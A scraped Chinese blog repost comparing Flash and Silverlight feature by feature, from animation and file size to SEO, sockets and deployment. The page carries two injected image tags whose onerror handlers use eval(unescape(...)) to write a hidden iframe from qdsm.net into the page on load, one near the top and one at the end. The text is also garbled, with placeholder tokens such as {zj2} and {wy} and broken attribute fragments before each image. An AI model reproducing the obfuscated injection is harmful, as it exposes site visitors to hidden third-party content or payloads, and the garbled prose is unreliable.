Flash 与Silverlight {zj2}大比拼- 信用卡资讯- geographicals - 和讯博客
Flash 与 Silverlight {zj2}大比拼 [转贴 2010-07-09 20:55:22]   
Flash 与 Silverlight {zj2}大比拼

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

自 Silverlight 1.0 发布以来,Web 开发与设计者们关于该选择 Flash 和 Silverlight 的争论便开始了,在成熟的 Flash 面前,Silverlight 面临着如何赢得市场的难题。然而 Silverlight 中包含了一些开发设计者们一直希望 Flash 能拥有的功能,诸如SEO,本文对 Flash 和 Silverlight 的技术细节进行了详尽的对比。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3354/3525976987_04e992f4c8.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/flash-silverlight.jpg">
动画功能
Flash 使用基于帧的动画模式,在逐帧动画模式中,我们为每个帧创建对象并生成动画序列。比如你想让一个对象在3秒内穿过屏幕,计算一下3秒一共有多少帧,然后计 算每帧需要的矩阵。不过 Flash 在实际播放中并不会真实地按设定的帧率播放,除非你在动画中插入一条空白的音轨。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3338/3525984541_b25969eeeb.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/flash-frame.jpg">

Silverlight 基于 WPF 动画模式,WPF 是基于时间线,而不是帧的,你定义好起始于结束状态,WPF 帮你计算中间该怎么做,不必象 Flash 那样同矩阵打交道,也不必计算在不同帧对象的位置。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3599/3525989773_0338424bd5.jpg" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/silverlight-frame.jpg">
文件尺寸
Flash 使用压缩格式,文字和图片内嵌在整个文件中,因此 Flash 的文件尺寸非常小巧。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3393/3526838392_83ec0e1d60.jpg" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/flash-text.jpg">

Silverlight 使用 XAML 作为描述语言,未经过压缩,因此 Silverlight 的文件尺寸通常要大一些。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3611/3526031261_a7802ef484.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/silverlight-text.jpg">
脚本
Flash 使用 ActionScript, ActionScript 面向对象,对用户界面设计有全面的控制,还可以同其它后端语言,如 PHP, ASP, Ruby On Rails 进行集成交流,拥有一个强大的开发库。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3589/3526848390_9fb83e5d9b.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/flash-actionscript.jpg">

Silverlight 的脚本可以选择多种开发语言,Visual C#.Net and Visual Basic.Net,也包括客户端语言 JavaScript 。 C# 和 VB.net 可以用来编写托管代码,并可以全面使用 .net 框架库。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3664/3526041289_10f9936cd1.jpg" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/silverlight-script.jpg">
视频和音频
Flash 支持多种音频格式,{zx1}的音频解码器质量非常高,而带宽占用也非常出色。它的视频解码器,Sorenson 的专用 H.263 是 H.263 的变种,压缩也接近,但去掉了一些功能。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3379/3526866004_514d1d2a0a.jpg?v=0" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/video-codec.gif">

Silverlight 使用的是行业标准 VC-1 视频解码,并支持 WMV 和 WMA,Windows Movie Maker 可以很容易产生这两种格式,同时微软还提供免费的 WMV, WMA 编码器。
声音处理
ActionScript 提供了一套声音类库,可以用来在动画中生成或控制声音,你可以在动画播放期间从资源库加入声音,同时 Flash 还有一些方法在整个动画中控制声音。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3650/3526882892_5ae9b527e5.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/flash-sound.jpg">

Silverlight 没有底层声音控制 API,甚至无法播放一个 WAV 文件,因为 .NET 在音频播放上很薄弱。
可访问性
对那些有视觉或听觉缺陷的人,Flash 提供了丰富的可访问性功能,视频字幕可以帮助听觉障碍者,而那些视觉障碍者需要通过键盘控制声音的播放,人们可以使用键盘快捷键控制视频播放。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3358/3526893476_9e51376cd9.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/silverlight-accessibility1.png">

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3640/3526896474_a4e5c12c99.jpg" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/silverlight-accessibility2.png">

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3406/3526898264_b7f2df3318.jpg" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/silverlight-accessibility3.png">

Silverlight 3 首次提供对全部系统配色的支持,那些视力不佳的人可以调整到高对比度配色方案,在可访问性方面 Silverligth 比 Flash 差很多。
平台兼容性
Flash 支持 Windows Vista/XP/2000, Windows Server 2003/2008, Mac OS 10.1/10.5 (PowerPC), Mac OS 10.1/10.5 (Intel), Linux 5, openSUSE 11, Ubuntu 7.10 or later and Solaris 10.

Silverlight 只支持 Windows Vista/XP/2000, Windows Server 2003/2008, Windows Mobile 6, Mac OS 10.1/10.5 (PowerPC) and Mac OS 10.1/10.5 (Intel)。由于不支持 Linux 和 Solaris,因此这些平台的用户无法体验 Silverlight 。(不过 .NET 在 Linux 平台的第三方开源项目,MONO 框架中的 MoonLight 支持 Linux - 译者)
文字展示与SEO
Flash 中的文字是基于图形的,Flash 播放器无法理解 TTF,因此我们无法从 Flash 动画中分离出文字。通常,Flash 对 SEO 是不友好的,但 Adobe 已经做出一些努力让 Flash 中的文字可以索引,而搜索引擎也开始尝试索引 Flash 了。目前,Google 是{wy}支持 Flash 索引的搜索引擎,他们同 Adobe 合作,设计相应的可以理解 Flash 内容的 Google 爬虫。 Yahoo 正在进展中,鉴于微软的 Silverlight 是 Flash 的竞争者,他们不讨可能在 MSN 中索引 Flash。

Silverlight 是基于 XAML 的,Silverlight 中的文字内容是独立存放的,可以被任何搜索引擎索引,因此对搜索引擎更友好。
支持的图片格式
Flash 支持几乎所有图片格式。Silverlight 只支持 PNG 与 JPEG,其它格式提供有限的支持。
网络编程
Flash 使用 XMLSocket 和服务器进行沟通。

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3573/3526946236_13c3d97d36.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/flash-socket.jpg">

Silverlight 通过 System.Net.Sockets 命名空间,对网络编程提供全面支持,Silverlight 可以通过 4502 到 4534 端口异步传输数据,也支持跨域通讯。
摄像头的支持
Flash 支持网络摄像头和麦克风,使用 ActionScript 可以很容易操控摄像头或麦克风。Silverlight 不支持摄像头和麦克风。
部署
Flash 的部署只包含一个独立的 SWF 文件,这个文件已经包含了所有图片,文字,动画。Silverlight 的部署要复杂一些,所有独立的部件都要单独部署,典型的 Silverlight 请求一般包含以下内容:

  • XML 文件,
  • DLL 文件(如果有),
  • Silverlight.js,
  • 其它JavaScript 文件,
  • 资源文件 (图片,视频,音频)

  • 0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3366/3526161139_e3d23a7550.jpg" original="http://media2.smashingmagazine.com/images/flash-vs-silverlight/silverilght-deployment.png">
    Windows 可执行文件
    Flash 动画可以编译成独立的 Windows 可执行程序,在桌面播放。

    0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3537/3526164413_4148eff026.jpg" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/flash-exe.jpg">

    Silverligth 不支持。
    流媒体服务
    Flash 不支持流媒体服务(虽然 FLV 控制了几乎所有视频网站,但那是另一回事-译者)。

    微软基于 Windows Live 的 Silverlight 流媒体服务可以让设计和开发者分发富媒体,结合微软的 Expression Studio,开发与设计者们可以创建交互式 Web 程序。

    0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" alt="" src="http://farm4.static.flickr.com/3584/3526170033_b6805105cd.jpg" original="http://media1.smashingmagazine.com/images/flash-vs-silverlight/silverlight-stream.gif">
    结论
    富 Internet 应用的技术选择向来存在很多争议,在 Silverlight 和 Flash 中选择,xx要看你的需求,如果你的用户包括 Linux 和 Solaris 平台的,Flash 是xxxx,如果希望你的网站可以被索引,Silverlight 更好一些。

    另外需要指出的是,安装了 Silverligth 插件的用户尚在少数,而绝大多数用户的浏览器中都安装了 Flash 插件,另外,SWF, FLA, FLV 几乎成了开发标准格式,而 Silverligth 还是{bfb}私有格式(然而 Silverlight 已经是明文了,还谈什么开放不开放 - 译者)。
    快速对比 Features Flash Silverlight Animation . better File size better . Scripting . better Video/Audio . better Sound processing better . Accessibility better . Platform compatibility better . Text representation/SEO . better Supported image formats better . Socket programming better . Webcam support better . Deployment better . Windows application better . Media streaming . better

    本文国际来源:
    中文翻译来源: 官方网站



    0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_728_90.html%20width%3D728%20height%3D90%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

    郑重声明:资讯 【Flash 与Silverlight {zj2}大比拼- 信用卡资讯- geographicals - 和讯博客】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
    —— 相关资讯 ——